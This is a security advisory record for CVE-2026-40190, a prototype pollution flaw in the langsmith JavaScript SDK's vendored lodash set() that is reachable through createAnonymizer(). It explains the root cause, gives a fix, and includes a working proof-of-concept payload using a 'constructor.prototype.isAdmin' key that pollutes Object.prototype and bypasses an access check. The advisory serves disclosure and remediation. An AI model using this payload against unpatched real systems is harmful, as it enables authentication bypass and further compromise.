{"id":"CVE-2026-40190","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-40190","summary":"LangSmith Client SDKs has Prototype Pollution in langsmith-sdk via Incomplete `__proto__` Guard in Internal lodash `set()`","details":"# GHSA-fw9q-39r9-c252: Prototype Pollution via Incomplete Lodash `set()` Guard in `langsmith-sdk`\n\n**Severity:** Medium (CVSS ~5.6)\n**Status:** Fixed in 0.5.18\n\n---\n\n## Summary\n\nThe LangSmith JavaScript/TypeScript SDK (`langsmith`) contains an incomplete prototype pollution fix in its internally vendored lodash `set()` utility. The `baseAssignValue()` function only guards against the `__proto__` key, but fails to prevent traversal via `constructor.prototype`. This allows an attacker who controls keys in data processed by the `createAnonymizer()` API to pollute `Object.prototype`, affecting all objects in the Node.js process.\n\n---\n\n## Affected Products\n\n| Product | Affected Versions | Component |\n|---------|-------------------|-----------|\n| `langsmith` (npm) | <= 0.5.17 | `js/src/utils/lodash/baseAssignValue.ts`, `js/src/anonymizer/index.ts` |\n| langchain-ai/langsmith-sdk | GitHub main branch (as of 2026-03-24) | JS/TypeScript SDK |\n\n**Not affected:** The Python SDK (`langsmith` on PyPI) does not use lodash or an equivalent pattern.\n\n---\n\n## Root Cause\n\nThe SDK vendors an internal copy of lodash's `set()` function at `js/src/utils/lodash/`. The `baseAssignValue()` function at `baseAssignValue.ts:11` implements a guard for prototype pollution:\n\n```typescript\nfunction baseAssignValue(object: Record<string, any>, key: string, value: any) {\n  if (key === \"__proto__\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value: value, writable: true,\n    });\n  } else {\n    object[key] = value;  // ← No guard for \"constructor\" or \"prototype\" keys\n  }\n}\n```\n\nThis blocks `__proto__` pollution but does **not** block the `constructor.prototype` traversal path. When `set()` is called with a path like `\"constructor.prototype.polluted\"`:\n\n1. `castPath()` splits it into `[\"constructor\", \"prototype\", \"polluted\"]`\n2. `baseSet()` iterates: `obj.constructor` → `Object` → `Object.prototype`\n3. `assignValue(Object.prototype, \"polluted\", value)` calls `baseAssignValue()`\n4. Key is `\"polluted\"` (not `\"__proto__\"`), so the guard is bypassed\n5. `Object.prototype.polluted = value` — all objects are polluted\n\n---\n\n## Attack Vector via Anonymizer\n\nThe `createAnonymizer()` API (importable as `langsmith/anonymizer`) processes data by:\n\n1. **Extracting string nodes** — `extractStringNodes()` walks an object recursively and builds dotted paths from keys\n2. **Applying regex replacements** — If a string value matches a configured pattern, the node is marked for update (`anonymizer/index.ts:95`)\n3. **Writing back with `set()`** — `set(mutateValue, node.path, node.value)` writes the replaced value back (`anonymizer/index.ts:123`)\n\nAn attacker who controls keys in data being anonymized can construct a nested object where the path resolves to `constructor.prototype.X`:\n\n```javascript\n{\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"contains-secret-pattern\"\n  }\n}\n```\n\n`extractStringNodes()` produces path `\"wrapper.constructor.prototype.isAdmin\"`. When the replacement triggers and `set()` writes back, it traverses up to `Object.prototype`.\n\nAlthough `createAnonymizer()` uses `deepClone()` at `anonymizer/index.ts:62` (`JSON.parse(JSON.stringify(data))`), the prototype chain traversal escapes the clone boundary because `clone.wrapper.constructor` resolves to the global `Object` constructor, not a cloned copy.\n\n---\n\n## Proof of Concept\n\n```javascript\nimport { createAnonymizer } from \"langsmith/anonymizer\";\n\nconst anonymizer = createAnonymizer([\n  { pattern: \"secret\", replace: \"[REDACTED]\" }\n]);\n\nconsole.log(\"BEFORE:\", ({}).isAdmin);  // undefined\n\nconst maliciousInput = {\n  wrapper: {\n    \"constructor.prototype.isAdmin\": \"this-is-secret-data\"\n  }\n};\n\nanonymizer(maliciousInput);\n\nconsole.log(\"AFTER:\", ({}).isAdmin);   // \"this-is-[REDACTED]-data\"\nconsole.log(\"Array:\", [].isAdmin);     // \"this-is-[REDACTED]-data\"\n\nfunction checkAccess(user) {\n  if (user.isAdmin) return \"ACCESS GRANTED\";\n  return \"ACCESS DENIED\";\n}\nconsole.log(checkAccess({ name: \"bob\" }));  // \"ACCESS GRANTED\" ← BYPASSED\n```\n\n---\n\n## Impact\n\nPrototype pollution in a Node.js process can enable:\n\n1. **Authentication bypass** — `if (user.isAdmin)` checks succeed on all objects\n2. **Remote Code Execution** — Exploitable in template engines (Pug, EJS, Handlebars, Nunjucks) via polluted prototype properties that reach `eval()`/`Function()` sinks\n3. **Denial of Service** — Overwriting `toString`, `valueOf`, or `hasOwnProperty` on all objects\n4. **Data exfiltration** — Polluting serialization methods to inject attacker-controlled values\n\n---\n\n## Remediation\n\nIn `baseAssignValue.ts`, extend the guard to cover `constructor` and `prototype` keys:\n\n```typescript\nfunction baseAssignValue(object, key, value) {\n  if (key === \"__proto__\" || key === \"constructor\" || key === \"prototype\") {\n    Object.defineProperty(object, key, {\n      configurable: true, enumerable: true, value, writable: true,\n    });\n  } else {\n    object[key] = value;\n  }\n}\n```\n\nAs defense in depth, `extractStringNodes()` in `anonymizer/index.ts` should also sanitize or reject path segments matching `constructor` or `prototype` before passing them to `set()`.\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-24 | Initial report submitted |\n| 2026-04-09 | Vendor confirmed; fixed in 0.5.18 |\n\n---\n\n## Credits\n\nReported by: OneThing4101","published":"2026-04-10T20:18:02Z","modified":"2026-09-10T03:50:44.182038974Z","cvss":{"score":5.6,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"langsmith","fixedVersion":"0.5.18"}],"fix":{"url":"https://github.com/langchain-ai/langsmith-sdk/pull/2690","label":"langchain-ai/langsmith-sdk#2690"},"references":[{"type":"WEB","url":"https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-fw9q-39r9-c252"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40190"},{"type":"WEB","url":"https://github.com/langchain-ai/langsmith-sdk/pull/2690"},{"type":"WEB","url":"https://github.com/langchain-ai/langsmith-sdk/commit/31d3c3aec02892f4312baae112f817d6b2f0ebe3"},{"type":"PACKAGE","url":"https://github.com/langchain-ai/langsmith-sdk"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:50:44.182038974Z"}}